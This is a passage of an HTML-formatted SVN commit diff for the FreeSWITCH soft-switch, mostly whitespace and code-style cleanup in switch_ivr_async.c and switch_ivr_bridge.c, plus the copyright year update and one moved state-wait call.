</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
</ins><span class="cx">         const char *p;
</span><span class="cx">         switch_core_session_get_read_impl(session, &amp;read_impl);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!ah) {
</span><span class="cx">                 if (!(ah = switch_core_session_alloc(session, sizeof(*ah)))) {
</span><span class="cx">                         return SWITCH_STATUS_MEMERR;
</span><span class="lines">@@ -2623,10 +2632,10 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if ((status = switch_core_asr_open(ah,
</span><del>-                                                         mod_name,
-                                                         &quot;L16&quot;,
-                                                         read_impl.actual_samples_per_second, dest, &amp;flags,
-                                                         switch_core_session_get_pool(session))) == SWITCH_STATUS_SUCCESS) {
</del><ins>+                                                                           mod_name,
+                                                                           &quot;L16&quot;,
+                                                                           read_impl.actual_samples_per_second, dest, &amp;flags,
+                                                                           switch_core_session_get_pool(session))) == SWITCH_STATUS_SUCCESS) {
</ins><span class="cx"> 
</span><span class="cx">                 if (switch_core_asr_load_grammar(ah, grammar, name) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Error loading Grammar\n&quot;);
</span><span class="lines">@@ -2864,7 +2873,7 @@
</span><span class="cx">                                 switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, (flags &amp; SMF_PRIORITY) ? &quot;event-lock-pri&quot; : &quot;event-lock&quot;, &quot;true&quot;);
</span><span class="cx"> 
</span><span class="cx">                                 switch_event_add_header(event, SWITCH_STACK_BOTTOM, &quot;lead-frames&quot;, &quot;%d&quot;, 5);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if ((flags &amp; SMF_LOOP)) {
</span><span class="cx">                                         switch_event_add_header(event, SWITCH_STACK_BOTTOM, &quot;loops&quot;, &quot;%d&quot;, -1);
</span><span class="cx">                                 }
</span><span class="lines">@@ -2872,11 +2881,11 @@
</span><span class="cx">                                 if ((flags &amp; SMF_HOLD_BLEG)) {
</span><span class="cx">                                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;hold-bleg&quot;, &quot;true&quot;);
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 switch_core_session_queue_private_event(other_session, &amp;event, (flags &amp; SMF_PRIORITY));
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_core_session_rwunlock(other_session);
</span><span class="cx">                 master = other_session;
</span><span class="cx">                 other_session = NULL;
</span><span class="lines">@@ -2897,7 +2906,7 @@
</span><span class="cx">                                 switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;execute-app-arg&quot;, path);
</span><span class="cx">                                 switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, (flags &amp; SMF_PRIORITY) ? &quot;event-lock-pri&quot; : &quot;event-lock&quot;, &quot;true&quot;);
</span><span class="cx">                                 switch_event_add_header(event, SWITCH_STACK_BOTTOM, &quot;lead-frames&quot;, &quot;%d&quot;, 5);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if ((flags &amp; SMF_LOOP)) {
</span><span class="cx">                                         switch_event_add_header(event, SWITCH_STACK_BOTTOM, &quot;loops&quot;, &quot;%d&quot;, -1);
</span><span class="cx">                                 }
</span><span class="lines">@@ -2907,7 +2916,8 @@
</span><span class="cx"> 
</span><span class="cx">                                 switch_core_session_queue_private_event(session, &amp;event, (flags &amp; SMF_PRIORITY));
</span><span class="cx"> 
</span><del>-                                if (nomedia) switch_channel_set_flag(channel, CF_BROADCAST_DROP_MEDIA);
</del><ins>+                                if (nomedia)
+                                        switch_channel_set_flag(channel, CF_BROADCAST_DROP_MEDIA);
</ins><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">                 master = session;
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_ivr_bridgec"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_ivr_bridge.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_ivr_bridge.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_ivr_bridge.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -68,11 +68,10 @@
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">         }
</span><del>-        
-        switch_core_session_kill_channel(vh-&gt;session_b, SWITCH_SIG_BREAK);        
</del><ins>+
+        switch_core_session_kill_channel(vh-&gt;session_b, SWITCH_SIG_BREAK);
</ins><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;%s video thread ended.\n&quot;, switch_channel_get_name(channel));
</span><span class="cx"> 
</span><del>-
</del><span class="cx">         vh-&gt;up = 0;
</span><span class="cx">         return NULL;
</span><span class="cx"> }
</span><span class="lines">@@ -90,7 +89,8 @@
</span><span class="cx"> #endif
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-static void send_display(switch_core_session_t *session, switch_core_session_t *peer_session) {
</del><ins>+static void send_display(switch_core_session_t *session, switch_core_session_t *peer_session)
+{
</ins><span class="cx"> 
</span><span class="cx">         switch_core_session_message_t *msg;
</span><span class="cx">         switch_caller_profile_t *caller_profile;
</span><span class="lines">@@ -103,7 +103,7 @@
</span><span class="cx">         if (switch_channel_direction(caller_channel) == SWITCH_CALL_DIRECTION_OUTBOUND) {
</span><span class="cx">                 name = caller_profile-&gt;callee_id_name;
</span><span class="cx">                 number = caller_profile-&gt;callee_id_number;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (zstr(name)) {
</span><span class="cx">                         name = caller_profile-&gt;destination_number;
</span><span class="cx">                 }
</span><span class="lines">@@ -113,7 +113,7 @@
</span><span class="cx">         } else {
</span><span class="cx">                 name = caller_profile-&gt;caller_id_name;
</span><span class="cx">                 number = caller_profile-&gt;caller_id_number;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (zstr(name)) {
</span><span class="cx">                         name = caller_profile-&gt;destination_number;
</span><span class="cx">                 }
</span><span class="lines">@@ -123,10 +123,10 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if ((p = strrchr(number, '/'))) {
</span><del>-                number = p+1;
</del><ins>+                number = p + 1;
</ins><span class="cx">         }
</span><span class="cx">         if ((p = strrchr(name, '/'))) {
</span><del>-                name = p+1;
</del><ins>+                name = p + 1;
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         msg = switch_core_session_alloc(peer_session, sizeof(*msg));
</span><span class="lines">@@ -175,13 +175,13 @@
</span><span class="cx">         int inner_bridge = 0;
</span><span class="cx">         switch_codec_t silence_codec = { 0 };
</span><span class="cx">         switch_frame_t silence_frame = { 0 };
</span><del>-        int16_t silence_data[SWITCH_RECOMMENDED_BUFFER_SIZE/2] = { 0 };
</del><ins>+        int16_t silence_data[SWITCH_RECOMMENDED_BUFFER_SIZE / 2] = { 0 };
</ins><span class="cx">         const char *silence_var;
</span><span class="cx">         int silence_val = 0, bypass_media_after_bridge = 0;
</span><span class="cx">         const char *bridge_answer_timeout = NULL;
</span><span class="cx">         int answer_timeout, sent_update = 0;
</span><span class="cx">         time_t answer_limit = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx"> #ifdef SWITCH_VIDEO_IN_THREADS
</span><span class="cx">         switch_thread_t *vid_thread = NULL;
</span><span class="cx">         struct vid_helper vh = { 0 };
</span><span class="lines">@@ -193,7 +193,7 @@
</span><span class="cx">         if (!(session_b = switch_core_session_locate(data-&gt;b_uuid))) {
</span><span class="cx">                 return NULL;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         input_callback = data-&gt;input_callback;
</span><span class="cx">         user_data = data-&gt;session_data;
</span><span class="cx">         stream_id = data-&gt;stream_id;
</span><span class="lines">@@ -212,7 +212,7 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         inner_bridge = switch_channel_test_flag(chan_a, CF_INNER_BRIDGE);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!switch_channel_test_flag(chan_a, CF_ANSWERED) &amp;&amp; (bridge_answer_timeout = switch_channel_get_variable(chan_a, &quot;bridge_answer_timeout&quot;))) {
</span><span class="cx">                 if ((answer_timeout = atoi(bridge_answer_timeout)) &lt; 0) {
</span><span class="cx">                         answer_timeout = 0;
</span><span class="lines">@@ -220,14 +220,14 @@
</span><span class="cx">                         answer_limit = switch_epoch_time_now(NULL) + answer_timeout;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">         switch_channel_set_flag(chan_a, CF_BRIDGED);
</span><span class="cx"> 
</span><span class="cx">         switch_channel_wait_for_flag(chan_b, CF_BRIDGED, SWITCH_TRUE, 10000, chan_a);
</span><span class="cx"> 
</span><span class="cx">         if (!switch_channel_test_flag(chan_b, CF_BRIDGED)) {
</span><del>-                if (!(switch_channel_test_flag(chan_b, CF_TRANSFER) || switch_channel_test_flag(chan_b, CF_REDIRECT) 
</del><ins>+                if (!(switch_channel_test_flag(chan_b, CF_TRANSFER) || switch_channel_test_flag(chan_b, CF_REDIRECT)
</ins><span class="cx">                           || switch_channel_get_state(chan_b) == CS_RESET)) {
</span><span class="cx">                         switch_channel_hangup(chan_b, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
</span><span class="cx">                 }
</span><span class="lines">@@ -241,8 +241,8 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        if ((silence_var = switch_channel_get_variable(chan_a, &quot;bridge_generate_comfort_noise&quot;))) {                
-                switch_codec_implementation_t read_impl = {0};
</del><ins>+        if ((silence_var = switch_channel_get_variable(chan_a, &quot;bridge_generate_comfort_noise&quot;))) {
+                switch_codec_implementation_t read_impl = { 0 };
</ins><span class="cx">                 switch_core_session_get_read_impl(session_a, &amp;read_impl);
</span><span class="cx"> 
</span><span class="cx">                 if (!switch_channel_media_ready(chan_a)) {
</span><span class="lines">@@ -261,17 +261,17 @@
</span><span class="cx">                 if (silence_val) {
</span><span class="cx">                         if (switch_core_codec_init(&amp;silence_codec,
</span><span class="cx">                                                                            &quot;L16&quot;,
</span><del>-                                                                           NULL, 
-                                                                           read_impl.actual_samples_per_second, 
</del><ins>+                                                                           NULL,
+                                                                           read_impl.actual_samples_per_second,
</ins><span class="cx">                                                                            read_impl.microseconds_per_packet / 1000,
</span><span class="cx">                                                                            1,
</span><del>-                                                                           SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, 
-                                                                           NULL, 
-                                                                           switch_core_session_get_pool(session_a)) != SWITCH_STATUS_SUCCESS) {
-                                
</del><ins>+                                                                           SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE,
+                                                                           NULL, switch_core_session_get_pool(session_a)) != SWITCH_STATUS_SUCCESS) {
+
</ins><span class="cx">                                 silence_val = 0;
</span><span class="cx">                         } else {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Setup generated silence from %s to %s at %d\n&quot;, switch_channel_get_name(chan_a), switch_channel_get_name(chan_b), silence_val);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Setup generated silence from %s to %s at %d\n&quot;, switch_channel_get_name(chan_a),
+                                                                  switch_channel_get_name(chan_b), silence_val);
</ins><span class="cx">                                 silence_frame.codec = &amp;silence_codec;
</span><span class="cx">                                 silence_frame.data = silence_data;
</span><span class="cx">                                 silence_frame.buflen = sizeof(silence_data);
</span><span class="lines">@@ -280,7 +280,7 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         for (;;) {
</span><span class="cx">                 switch_channel_state_t b_state;
</span><span class="cx">                 switch_status_t status;
</span><span class="lines">@@ -341,14 +341,14 @@
</span><span class="cx">                 }
</span><span class="cx"> #endif
</span><span class="cx"> 
</span><del>-                if (loop_count &gt; DEFAULT_LEAD_FRAMES &amp;&amp; switch_channel_media_ack(chan_a) &amp;&amp; 
-                        (bypass_media_after_bridge || switch_channel_test_flag(chan_a, CF_BYPASS_MEDIA_AFTER_BRIDGE)) &amp;&amp; switch_channel_test_flag(chan_a, CF_ANSWERED) &amp;&amp; 
-                        switch_channel_test_flag(chan_b, CF_ANSWERED)) {
</del><ins>+                if (loop_count &gt; DEFAULT_LEAD_FRAMES &amp;&amp; switch_channel_media_ack(chan_a) &amp;&amp;
+                        (bypass_media_after_bridge || switch_channel_test_flag(chan_a, CF_BYPASS_MEDIA_AFTER_BRIDGE)) &amp;&amp; switch_channel_test_flag(chan_a, CF_ANSWERED)
+                        &amp;&amp; switch_channel_test_flag(chan_b, CF_ANSWERED)) {
</ins><span class="cx">                         switch_ivr_nomedia(switch_core_session_get_uuid(session_a), SMF_REBRIDGE);
</span><span class="cx">                         bypass_media_after_bridge = 0;
</span><span class="cx">                         switch_channel_clear_flag(chan_a, CF_BYPASS_MEDIA_AFTER_BRIDGE);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 /* if 1 channel has DTMF pass it to the other */
</span><span class="cx">                 while (switch_channel_has_dtmf(chan_a)) {
</span><span class="cx">                         switch_dtmf_t dtmf = { 0, 0 };
</span><span class="lines">@@ -413,7 +413,7 @@
</span><span class="cx"> 
</span><span class="cx">                 if (ans_a != ans_b) {
</span><span class="cx">                         switch_channel_t *un = ans_a ? chan_b : chan_a;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!switch_channel_test_flag(un, CF_OUTBOUND)) {
</span><span class="cx">                                 switch_channel_pass_callee_id(un == chan_b ? chan_a : chan_b, un);
</span><span class="cx">                                 if (switch_channel_answer(un) != SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -422,14 +422,16 @@
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx"> 
</span><del>-                        if (ans_a) ans_b = 1; else ans_a = 1;
</del><ins>+                        if (ans_a)
+                                ans_b = 1;
+                        else
+                                ans_a = 1;
</ins><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (originator &amp;&amp; !sent_update &amp;&amp; ans_a &amp;&amp; ans_b &amp;&amp; switch_channel_media_ack(chan_a) &amp;&amp; switch_channel_media_ack(chan_b)) {
</span><span class="cx">                         switch_ivr_bridge_display(session_a, session_b);
</span><span class="cx">                         sent_update = 1;
</span><span class="cx">                 }
</span><del>-
</del><span class="cx"> #ifndef SWITCH_VIDEO_IN_THREADS
</span><span class="cx">                 if (switch_channel_test_flag(chan_a, CF_VIDEO) &amp;&amp; switch_channel_test_flag(chan_b, CF_VIDEO)) {
</span><span class="cx">                         /* read video from 1 channel and write it to the other */
</span><span class="lines">@@ -455,15 +457,15 @@
</span><span class="cx">                                         continue;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (data-&gt;skip_frames) {
</span><span class="cx">                                 data-&gt;skip_frames--;
</span><span class="cx">                                 continue;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (status != SWITCH_STATUS_BREAK &amp;&amp; !switch_channel_test_flag(chan_a, CF_HOLD)) {
</span><span class="cx">                                 if (switch_core_session_write_frame(session_b, read_frame, SWITCH_IO_FLAG_NONE, stream_id) != SWITCH_STATUS_SUCCESS) {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, 
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
</ins><span class="cx">                                                                           &quot;%s ending bridge by request from write function\n&quot;, switch_channel_get_name(chan_b));
</span><span class="cx">                                         goto end_of_bridge_loop;
</span><span class="cx">                                 }
</span><span class="lines">@@ -474,7 +476,7 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- end_of_bridge_loop:
</del><ins>+  end_of_bridge_loop:
</ins><span class="cx"> 
</span><span class="cx"> #ifdef SWITCH_VIDEO_IN_THREADS
</span><span class="cx">         if (vid_thread) {
</span><span class="lines">@@ -563,7 +565,7 @@
</span><span class="cx">                 const char *ext = switch_channel_get_variable(chan_a, &quot;hold_hangup_xfer_exten&quot;);
</span><span class="cx"> 
</span><span class="cx">                 switch_channel_stop_broadcast(chan_b);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (zstr(ext)) {
</span><span class="cx">                         switch_call_cause_t cause = switch_channel_get_cause(chan_b);
</span><span class="cx">                         if (cause == SWITCH_CAUSE_NONE) {
</span><span class="lines">@@ -619,19 +621,19 @@
</span><span class="cx">         switch_channel_clear_state_handler(channel, &amp;audio_bridge_peer_state_handlers);
</span><span class="cx"> 
</span><span class="cx">         state = switch_channel_get_state(channel);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (state &lt; CS_HANGUP &amp;&amp; switch_true(switch_channel_get_variable(channel, SWITCH_PARK_AFTER_BRIDGE_VARIABLE))) {
</span><span class="cx">                 switch_ivr_park_session(session);
</span><span class="cx">         } else if (state &lt; CS_HANGUP &amp;&amp; (var = switch_channel_get_variable(channel, SWITCH_TRANSFER_AFTER_BRIDGE_VARIABLE))) {
</span><span class="cx">                 transfer_after_bridge(session, var);
</span><span class="cx">         } else {
</span><del>-                if (!switch_channel_test_flag(channel, CF_TRANSFER) &amp;&amp; !switch_channel_test_flag(channel, CF_REDIRECT) &amp;&amp; 
-                        !switch_channel_test_flag(channel, CF_XFER_ZOMBIE) &amp;&amp; bd &amp;&amp; !bd-&gt;clean_exit 
</del><ins>+                if (!switch_channel_test_flag(channel, CF_TRANSFER) &amp;&amp; !switch_channel_test_flag(channel, CF_REDIRECT) &amp;&amp;
+                        !switch_channel_test_flag(channel, CF_XFER_ZOMBIE) &amp;&amp; bd &amp;&amp; !bd-&gt;clean_exit
</ins><span class="cx">                         &amp;&amp; state != CS_PARK &amp;&amp; state != CS_ROUTING &amp;&amp; state != CS_EXCHANGE_MEDIA &amp;&amp; !switch_channel_test_flag(channel, CF_INNER_BRIDGE)) {
</span><span class="cx">                         switch_channel_hangup(channel, SWITCH_CAUSE_NORMAL_CLEARING);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_channel_get_state(channel) == CS_EXCHANGE_MEDIA) {
</span><span class="cx">                 switch_channel_set_variable(channel, &quot;park_timeout&quot;, &quot;3&quot;);
</span><span class="cx">                 switch_channel_set_state(channel, CS_PARK);
</span><span class="lines">@@ -724,7 +726,7 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         switch_channel_clear_flag_recursive(channel, CF_BRIDGE_ORIGINATOR);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((other_uuid = switch_channel_get_variable(channel, SWITCH_UUID_BRIDGE)) &amp;&amp; (other_session = switch_core_session_locate(other_uuid))) {
</span><span class="cx">                 switch_channel_t *other_channel = switch_core_session_get_channel(other_session);
</span><span class="cx">                 switch_event_t *event;
</span><span class="lines">@@ -737,10 +739,9 @@
</span><span class="cx"> 
</span><span class="cx">                 if (switch_channel_get_state(other_channel) == CS_RESET) {
</span><span class="cx">                         switch_channel_set_state(other_channel, CS_SOFT_EXECUTE);
</span><ins>+                        switch_channel_wait_for_state(other_channel, channel, CS_SOFT_EXECUTE);
</ins><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                switch_channel_wait_for_state(other_channel, channel, CS_SOFT_EXECUTE);
-
</del><span class="cx">                 switch_core_session_reset(session, SWITCH_TRUE, SWITCH_TRUE);
</span><span class="cx"> 
</span><span class="cx">                 if (switch_ivr_wait_for_answer(session, other_session) != SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -785,11 +786,10 @@
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 switch_ivr_multi_threaded_bridge(session, other_session, NULL, NULL, NULL);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 state = switch_channel_get_state(channel);
</span><del>-                if (!switch_channel_test_flag(channel, CF_TRANSFER) &amp;&amp; 
-                        !switch_channel_test_flag(channel, CF_REDIRECT) &amp;&amp; state &lt; CS_HANGUP 
-                        &amp;&amp; state != CS_ROUTING &amp;&amp; state != CS_PARK) {
</del><ins>+                if (!switch_channel_test_flag(channel, CF_TRANSFER) &amp;&amp;
+                        !switch_channel_test_flag(channel, CF_REDIRECT) &amp;&amp; state &lt; CS_HANGUP &amp;&amp; state != CS_ROUTING &amp;&amp; state != CS_PARK) {
</ins><span class="cx">                         switch_channel_set_state(channel, CS_EXECUTE);
</span><span class="cx">                 }
</span><span class="cx">                 switch_core_session_rwunlock(other_session);
</span><span class="lines">@@ -809,7 +809,7 @@
</span><span class="cx"> 
</span><span class="cx">         channel = switch_core_session_get_channel(session);
</span><span class="cx">         switch_assert(channel != NULL);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((key = (char *) switch_channel_get_private(channel, &quot;__bridge_term_key&quot;)) &amp;&amp; dtmf-&gt;digit == *key) {
</span><span class="cx">                 const char *uuid;
</span><span class="cx">                 switch_core_session_t *other_session;
</span><span class="lines">@@ -825,10 +825,10 @@
</span><span class="cx">                                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -837,12 +837,12 @@
</span><span class="cx">         switch_core_session_message_t msg = { 0 };
</span><span class="cx">         switch_channel_t *channel = NULL;
</span><span class="cx"> 
</span><del>-        channel = switch_core_session_get_channel(session); 
</del><ins>+        channel = switch_core_session_get_channel(session);
</ins><span class="cx"> 
</span><span class="cx">         msg.message_id = SWITCH_MESSAGE_INDICATE_UNBRIDGE;
</span><span class="cx">         msg.from = __FILE__;
</span><span class="cx">         msg.string_arg = switch_channel_get_variable(channel, SWITCH_SIGNAL_BRIDGE_VARIABLE);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_core_session_receive_message(session, &amp;msg);
</span><span class="cx">         switch_core_event_hook_remove_state_change(session, hanguphook);
</span><span class="cx"> 
</span><span class="lines">@@ -896,17 +896,17 @@
</span><span class="cx">         switch_channel_set_variable(channel, SWITCH_BRIDGE_VARIABLE, NULL);
</span><span class="cx"> 
</span><span class="cx">         if (uuid &amp;&amp; (other_session = switch_core_session_locate(uuid))) {
</span><del>-        switch_channel_t *other_channel = switch_core_session_get_channel(other_session);
-        const char *sbv = switch_channel_get_variable(other_channel, SWITCH_SIGNAL_BRIDGE_VARIABLE);
</del><ins>+                switch_channel_t *other_channel = switch_core_session_get_channel(other_session);
+                const char *sbv = switch_channel_get_variable(other_channel, SWITCH_SIGNAL_BRIDGE_VARIABLE);
</ins><span class="cx">                 const char *var;
</span><span class="cx"> 
</span><del>-        if (!zstr(sbv) &amp;&amp; !strcmp(sbv, switch_core_session_get_uuid(session))) {
</del><ins>+                if (!zstr(sbv) &amp;&amp; !strcmp(sbv, switch_core_session_get_uuid(session))) {
</ins><span class="cx"> 
</span><del>-            switch_channel_set_variable(other_channel, SWITCH_SIGNAL_BRIDGE_VARIABLE, NULL);
-            switch_channel_set_variable(other_channel, SWITCH_BRIDGE_VARIABLE, NULL);
-                        
-            if (switch_channel_up(other_channel)) {
</del><ins>+                        switch_channel_set_variable(other_channel, SWITCH_SIGNAL_BRIDGE_VARIABLE, NULL);
+                        switch_channel_set_variable(other_channel, SWITCH_BRIDGE_VARIABLE, NULL);
</ins><span class="cx"> 
</span><ins>+                        if (switch_channel_up(other_channel)) {
+
</ins><span class="cx">                                 if (switch_true(switch_channel_get_variable(other_channel, SWITCH_PARK_AFTER_BRIDGE_VARIABLE))) {
</span><span class="cx">                                         switch_ivr_park_session(other_session);
</span><span class="cx">                                 } else if ((var = switch_channel_get_variable(other_channel, SWITCH_TRANSFER_AFTER_BRIDGE_VARIABLE))) {
</span><span class="lines">@@ -916,19 +916,19 @@
</span><span class="cx">                                 if (switch_channel_test_flag(other_channel, CF_BRIDGE_ORIGINATOR)) {
</span><span class="cx">                                         if (switch_channel_test_flag(channel, CF_ANSWERED) &amp;&amp;
</span><span class="cx">                                                 switch_true(switch_channel_get_variable(other_channel, SWITCH_HANGUP_AFTER_BRIDGE_VARIABLE))) {
</span><del>-                                                switch_channel_hangup(other_channel, switch_channel_get_cause(channel));        
</del><ins>+                                                switch_channel_hangup(other_channel, switch_channel_get_cause(channel));
</ins><span class="cx">                                         } else {
</span><span class="cx">                                                 switch_channel_set_state(other_channel, CS_EXECUTE);
</span><span class="cx">                                         }
</span><span class="cx">                                 } else {
</span><span class="cx">                                         switch_channel_hangup(other_channel, switch_channel_get_cause(channel));
</span><span class="cx">                                 }
</span><del>-            }
-        }
-                
-        switch_core_session_rwunlock(other_session);
-    }
-        
</del><ins>+                        }
+                }
+
+                switch_core_session_rwunlock(other_session);
+        }
+
</ins><span class="cx">         if (switch_channel_test_flag(channel, CF_BRIDGE_ORIGINATOR)) {
</span><span class="cx">                 switch_channel_clear_flag_recursive(channel, CF_BRIDGE_ORIGINATOR);
</span><span class="cx">                 if (switch_event_create(&amp;event, SWITCH_EVENT_CHANNEL_UNBRIDGE) == SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -936,7 +936,7 @@
</span><span class="cx">                         switch_event_fire(&amp;event);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -1001,14 +1001,14 @@
</span><span class="cx">                 switch_channel_event_set_data(caller_channel, event);
</span><span class="cx">                 switch_event_fire(&amp;event);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_channel_set_state_flag(caller_channel, CF_RESET);
</span><span class="cx">         switch_channel_set_state_flag(peer_channel, CF_RESET);
</span><span class="cx"> 
</span><span class="cx">         switch_channel_set_state(caller_channel, CS_HIBERNATE);
</span><span class="cx">         switch_channel_set_state(peer_channel, CS_HIBERNATE);
</span><span class="cx"> 
</span><del>-#if 0        
</del><ins>+#if 0
</ins><span class="cx">         if (switch_channel_test_flag(caller_channel, CF_BRIDGED)) {
</span><span class="cx">                 switch_channel_set_flag(caller_channel, CF_TRANSFER);
</span><span class="cx">                 switch_channel_set_flag(peer_channel, CF_TRANSFER);
</span><span class="lines">@@ -1042,8 +1042,8 @@
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Call has no media... Redirecting to signal bridge.\n&quot;);
</span><span class="cx">                 return switch_ivr_signal_bridge(session, peer_session);
</span><span class="cx">         }
</span><del>-        
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">         switch_channel_set_flag_recursive(caller_channel, CF_MEDIA_BRIDGE_TTL);
</span><span class="cx">         switch_channel_set_flag_recursive(peer_channel, CF_MEDIA_BRIDGE_TTL);
</span><span class="cx"> 
</span><span class="lines">@@ -1088,12 +1088,12 @@
</span><span class="cx">                         switch_channel_set_variable(caller_channel, SWITCH_BRIDGE_VARIABLE, switch_core_session_get_uuid(peer_session));
</span><span class="cx">                         switch_channel_set_variable(peer_channel, SWITCH_BRIDGE_VARIABLE, switch_core_session_get_uuid(session));
</span><span class="cx"> 
</span><del>-                        if (!switch_channel_media_ready(caller_channel) || 
</del><ins>+                        if (!switch_channel_media_ready(caller_channel) ||
</ins><span class="cx">                                 (!switch_channel_test_flag(peer_channel, CF_ANSWERED) &amp;&amp; !switch_channel_test_flag(peer_channel, CF_EARLY_MEDIA))) {
</span><span class="cx">                                 if ((status = switch_ivr_wait_for_answer(session, peer_session)) != SWITCH_STATUS_SUCCESS || !switch_channel_ready(caller_channel)) {
</span><span class="cx">                                         switch_channel_state_t w_state = switch_channel_get_state(caller_channel);
</span><span class="cx">                                         switch_channel_hangup(peer_channel, SWITCH_CAUSE_ALLOTTED_TIMEOUT);
</span><del>-                                        if (w_state &lt; CS_HANGUP &amp;&amp; w_state != CS_ROUTING &amp;&amp; w_state != CS_PARK &amp;&amp; 
</del><ins>+                                        if (w_state &lt; CS_HANGUP &amp;&amp; w_state != CS_ROUTING &amp;&amp; w_state != CS_PARK &amp;&amp;
</ins><span class="cx">                                                 !switch_channel_test_flag(caller_channel, CF_REDIRECT) &amp;&amp; !switch_channel_test_flag(caller_channel, CF_TRANSFER) &amp;&amp;
</span><span class="cx">                                                 w_state != CS_EXECUTE) {
</span><span class="cx">                                                 const char *ext = switch_channel_get_variable(peer_channel, &quot;original_destination_number&quot;);
</span><span class="lines">@@ -1169,16 +1169,16 @@
</span><span class="cx">                                         b_leg-&gt;skip_frames = DEFAULT_LEAD_FRAMES;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
